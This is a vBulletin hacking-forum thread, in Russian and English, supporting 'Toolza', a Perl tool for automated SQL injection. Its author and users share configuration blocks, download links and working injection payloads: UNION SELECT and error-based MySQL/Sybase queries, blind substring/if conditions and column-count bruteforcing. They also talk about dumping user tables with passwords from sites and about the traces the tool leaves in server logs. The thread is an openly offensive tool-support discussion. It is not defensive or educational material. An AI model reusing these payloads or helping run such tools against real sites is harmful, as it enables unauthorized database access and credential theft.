but be careful, proxies, socks are not supported in this case and only GET method supported
download script from first post
PS: $filtr = ""; # close SQL
doesn't matter in the given concrete case, but be attentive
linuxkernal
16.03.2010, 18:44
Hi
can you please tell me where is download script from first post ???
and where will i put this line ($get_method = 1; # 0 - via IO::Socket, 1 - via LWP::Simple)
in global settings for all modes
################################################## ########################
## Глобальные настройки для всех режимов | Global settings for all modes ##
################################################## #########################
$method = 1; # 1- Post; 0 - GET метод запросов | Post or Get method, 1-POST; 0-GET
$use_proxy = 0; # 0 - без прокси; 1 - c прокси | 1 -Use proxy; 0 - No proxy
$proxy = "proxy.txt"; # Файл с проксями | Proxy file
$use_socks = 0; # 0 - без socks; 1 - c socks | 1 -Use socks; 0 - No socks
$socks_file = "socks.txt";# Файл с SOCKS | SOCKS file (SOCKS4-5 supported, no authorization)
$kol_threads = 10; # Кол-во потоков, рекомендуется -10 | Number of threads - 10 recommended
$timeout = 10; # Таймаут в секундах | Timeout in seconds
$cookie = ""; # Если кук нет - поставить "" | If no coockie set ""
$https_mode_auth = 1; # 1 - whith authorization, 0 - no
$https_auth_script_path = "/signin.php";
$https_auth_post_data = "uname=watltd&passwd=drowssap&Submit=Sign+In";
$referer = "http://google.com"; # Реферер, если нет поставить "" | If no referer set ""
$user_agent = "Opera/9.25 (Windows NT 6.0; U; en)"; # Юзер агент, если нет поставить "" | If no user agent set ""
$http_protocol = 1; # 0 - HTTP/1.0; 1 - HTTP/1.1; Default - 1
$pause = 0; # Пауза между запросами в секундах | Pause between requests in seconds
Thank you
Pashkela
16.03.2010, 18:46
Toolza1.0 (http://bug-track.ru/prog/toolza1.0.rar) <=== new version
linuxkernal
16.03.2010, 19:06
Hi
still getting same error from using new version
:(
Pashkela
16.03.2010, 19:11
))) script for you only ====> click (http://slil.ru/28804826)
linuxkernal
16.03.2010, 19:26
Hi
Thank you very much
now working perfect
:)
Pashkela
16.03.2010, 19:27
thanks God )
linuxkernal
16.03.2010, 19:27
:)
Pashkela
16.03.2010, 20:50
update:
- добавлен альтернативный метод получения содержимого страницы
- в MySql разделе устранены баги в случаях, когда имена БД или таблиц содержали "-"
update:
- добавлен альтернативный метод получения содержимого страницы
- в MySql разделе устранены баги в случаях, когда имена БД или таблиц содержали "-"
ну тулза меня поражает своей скоростью, но есть одинь баг. Когда работаеш черз name_const или floor rand бдинд то все норм сливает до того как возмеш всю структуру. Но когда придется дело до слива юзеров то сливает очень быстро(номер слива видно быстро изменяется) но результат выводится 1 от 10-30. Тоесть если слит 100 то из них выводится тока макс 10 и то мало.
Попробовал изменит потом до 1 но все же, пришлось юзать готовый сорс с готовым запросом который изменяет тока номер лимита ((. Но скорость не айс
Pashkela
16.03.2010, 21:27
дай пример в личку, чото не очень вогнал, о чем ты.
PS: Или пиши на инглише, может быть так будет внятней)
дай пример в личку, чото не очень вогнал, о чем ты.
PS: Или пиши на инглише, может быть так будет внятней)
отправил в личико
Pashkela
16.03.2010, 23:15
Разобрался - что name_const, что floor(rand()) методы имеют ограничение по длине возвращаемых результатов, т.е. в принципе не особо предназначены для дампа данных сразу из кучи колонок, тем более с паролями. В скрипте идет concat() и т.д. приставки для того, чтобы данные вообще можно было как-то спарсить, так что то, что видно в браузере, не факт, что спарсится прогой. Выводы делайте сами.
PS: Т.е. тулза работает корректно, однако на все есть "квантификаторы жадности" )
Разобрался - что name_const, что floor(rand()) методы имеют ограничение по длине возвращаемых результатов, т.е. в принципе не особо предназначены для дампа данных сразу из кучи колонок, тем более с паролями. В скрипте идет concat() и т.д. приставки для того, чтобы данные вообще можно было как-то спарсить, так что то, что видно в браузере, не факт, что спарсится прогой. Выводы делайте сами.
PS: Т.е. тулза работает корректно, однако на все есть "квантификаторы жадности" )
ну спс и зато что поддерживаеш прогу, если есть ограничение по длине то эт можно обходит поставив готовый запрос на другой сорец, главное тулза просто отлично справляется со своим заданием, респект тебе. Если конечно возможно добав функцию блинд на mssql тоже. Я слил бд на мсскл по блинду но на другом софте. Хотелось бы чтоб тулза тоже поддерживал такую функцию
Pashkela
17.03.2010, 17:46
Блинда для всех остальных типов БД в разработке.
UPDATE:
исправлены ошибки MSSQL inj
Pashkela
25.03.2010, 08:52
update:
Sybase:
1 . UNION SELECT method:
http://site.com/index.phtml?pid=7+union+select+null,@@version,null
Настройки в скрипте:
$s_union_select_url = "http://site.com/index.phtml?pid=7+union+select+null,^,null"; # url UNION+SELECT method
$s_subquery_url = ""; # url SUBQUERY method
$s_method = 0; # 0 - UNION+SELECT method, 1 - SUBQUERY method
$s_filtr = "--"; # close SQL
$s_plus = "+"; # %20,%2b & etc.
$s_convert = "numeric"; # default type to convert - numeric (for subquery method)
1 . SUBQUERY method:
http://site.com/index.phtml?pid=-7+or+1=convert(numeric,(select+@@version))--+
Настройки в скрипте:
$s_union_select_url = ""; # url UNION+SELECT method
$s_subquery_url = "http://site.com/index.phtml?pid=-7+or+1="; # url SUBQUERY method
$s_method = 1; # 0 - UNION+SELECT method, 1 - SUBQUERY method
$s_filtr = "--+"; # close SQL
$s_plus = "+"; # %20,%2b & etc.
$s_convert = "numeric"; # default type to convert - numeric (for subquery method)
+ системные данные:
@@version
user_name()
@@boottime
@@errorlog
@@language
@@servername
db_name()
Akula007
28.04.2010, 01:56
Как сканировать определенный сайт?
Что случилось с видео я не вижу и не скачать?
Pashkela
28.04.2010, 22:54
Видео случайно похерилось)) Теперь только на интуиции
Хм, которые могут загружать видео еще раз?
shell_c0de
28.04.2010, 23:49
Выкладываем то что есть (потом Пашкела сам сортирует)
режим LFI/READER/Load_file() bruter - сжатый(3,12 Мб), распаковынный(120 Мб)
Скачать (http://depositfiles.com/files/ou252y67x)
Pashkela
29.04.2010, 00:12
Всё, нашел бекапы, уже перезаливаю, через час все будет на месте
last version - http://bug-track.ru/prog/toolza1.0.zip
All videos on the places
pashkela бро тулза прекрасно справляется со своей задачей респект. Если сможеш добав функцию чтоб инжектил и на Header. Чтоб можно было свою дополнитую хедер добавит с инжектом. Много скули на хедере но тулза не поддерживает ((
У меня вопрос по "MySQL injection column number bruter"
Как указать скрипту что нужно в определенном параметре вставлять брут?
например: www.pupkin.com/index.php?param1=тут уязвим параметр¶m2=13
Pashkela
03.05.2010, 20:00
У меня вопрос по "MySQL injection column number bruter"
Как указать скрипту что нужно в определенном параметре вставлять брут?
например: www.pupkin.com/index.php?param1=тут уязвим параметр¶m2=13
ну если к примеру хотим получить чонить такое:
www.pupkin.com/index.php?param1=1+union+select+1,2,3--+¶m2=13
то так:
$source_sql_c = "www.pupkin.com/index.php?param1=1";# url
$filtr_c = "--+¶m2=13"; # close SQL
$plus_c = "+"; # /**/,%20,%2b & etc.
$sql_mess = "Different number of columns";# Текст идентификатор правильного/неправильного запроса
$sql_mess_type = 0;# Тип текста идентификатора, 1 - когда запрос правильный, 0 - когда запрос неправильный
т.е. просто "рубим" ссылку пополам в том месте, куда предполагаем вставлять "+union+select+1,2,3....."
ну я просто поменяю местами параметры и поставлю в конец уязвимый параметр и всё ))
при твоем условиии так
www.pupkin.com/index.php?param2=13¶m1=1+union+select+1,2,3--+
пашет как на
www.pupkin.com/index.php?param1=1+union+select+1,2,3--+¶m2=13
но удобно автоматизировать, так как если там много параметров по с примером пашкелы будет длинный коммент типа:
$filtr_c = "--+¶m2=13¶m2=1543¶m3=43¶m5=545¶m6=132342¶m7=54¶m8=13"; # close SQL
Спасибо за помощь ) да действительно, чет я не догадался что параметры можно местами поменять )
Вот еще бы была реализация для лома через куки и хидер )
Спасибо за помощь ) да действительно, чет я не догадался что параметры можно местами поменять )
Вот еще бы была реализация для лома через куки и хидер )
да было бы здорово если пашкела реализует функцию инжекта через куки и хедер
на мой взгляд очень облегчает жизнь при хеке очень понравилось
Pashkela
19.05.2010, 19:57
update:======>download (http://bug-track.ru/prog/toolza1.0.zip)
Исправлены существенные ошибки в floor(rand()) методе, теперь ничего не пропускает и работает как положено.
Pashkela
28.05.2010, 19:22
update:======>download (http://bug-track.ru/prog/toolza1.0.zip)
Добавлены некоторые возможности в Blind-sql inj для различных ситуаций:
################################################## ##############################
## Blind SQL-injection настройки | Blind SQL-injection settings##
################################################## ##############################
$bl_mode = 0; # mode of blind sql injection:
#-----------------------------------------------------------------------------------------------------------------
# mode 0 example - http://site.com/index.php?id=1+and+substring(version(),1,1)=5--+
#in script:
#$bl_url = "http://site.com/index.php?id=1";
#$bl_filtr = "--+";
#$bl_plus = "+";
#$bl_error = "here_wrong_message";
#$bl_error_type = 0;
#-----------------------------------------------------------------------------------------------------------------
# mode 1 example - http://site.com/index.php?id=1+and+1=if((select+substring(version( ),1,1)=5),1,(select+1+union+select+2))
#in script:
#$bl_url = "http://site.com/index.php?id=1+and+1=if((select";
#$bl_filtr = "),1,(select+1+union+select+2))";
#$bl_plus = "+";
#$bl_error = "here_wrong_message";
#$bl_error_type = 0;
#-----------------------------------------------------------------------------------------------------------------
т.е. если у вас так или иначе в рабочем запросе присутствует "substring(version( ),1,1)=5" (ну 5 тут понятно, меняется) - то можно юзать в тулзе независимо от навороченности конструкции
PS: Можно было бы сделать и проще, без разных режимов, но сделал добавление только из расчета того, чтобы юзеры, которые пользовали прогу раньше, не путались
DrakonHaSh
17.06.2010, 20:04
на днях раскручивал тулзой блинд.
бага: парочку букв нашлось неверно, некоторые оказались = ? возможно это связано с глюками потоков. раньше, через [LFI/Reader/Load_file() - unvisual error when wrong query] замечал глюк с неверным отображением найденного файла, пример вывода:
====================================
//etc/passwd
====================================
мусор
====================================
//logs/error.log
====================================
данные из /etc/passwd
какой-то подозрительный нюанс :)
тулза делает так:
GET http://site/path ...
а браузеры так:
GET /path ...
предложение фичи
учитывая, что интересуют нас обычно строго определенные значения таблиц и полей, и то, что блинд занимает туеву хучу трафика и логов, можно добавить условие в выборку [на имя колонок, на имена таблиц], по типу:
условие на колонку = pass
=>
select column_name from information_schema.columns where instr(lower(column_name), 0x70617373) > 0;
+ предопределенные условия на
table_schema != information_schema
table_schema != mysql [ее доступность вообще одним отдельным запросом проверять]
предложение фичи [непринципиально, но уж точно полезно :) ]
сделать сохранение уже сграбленных данных для последующего использования, а то при каждом новом выборе в меню часто грабятся сначала те же данные, что уже и были сграблены.
какой-то подозрительный нюанс :)
тулза делает так:
GET http://site/path ...
а браузеры так:
GET /path ...
более подозрительный нюанс это 100500тыщ записей в логе )))
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot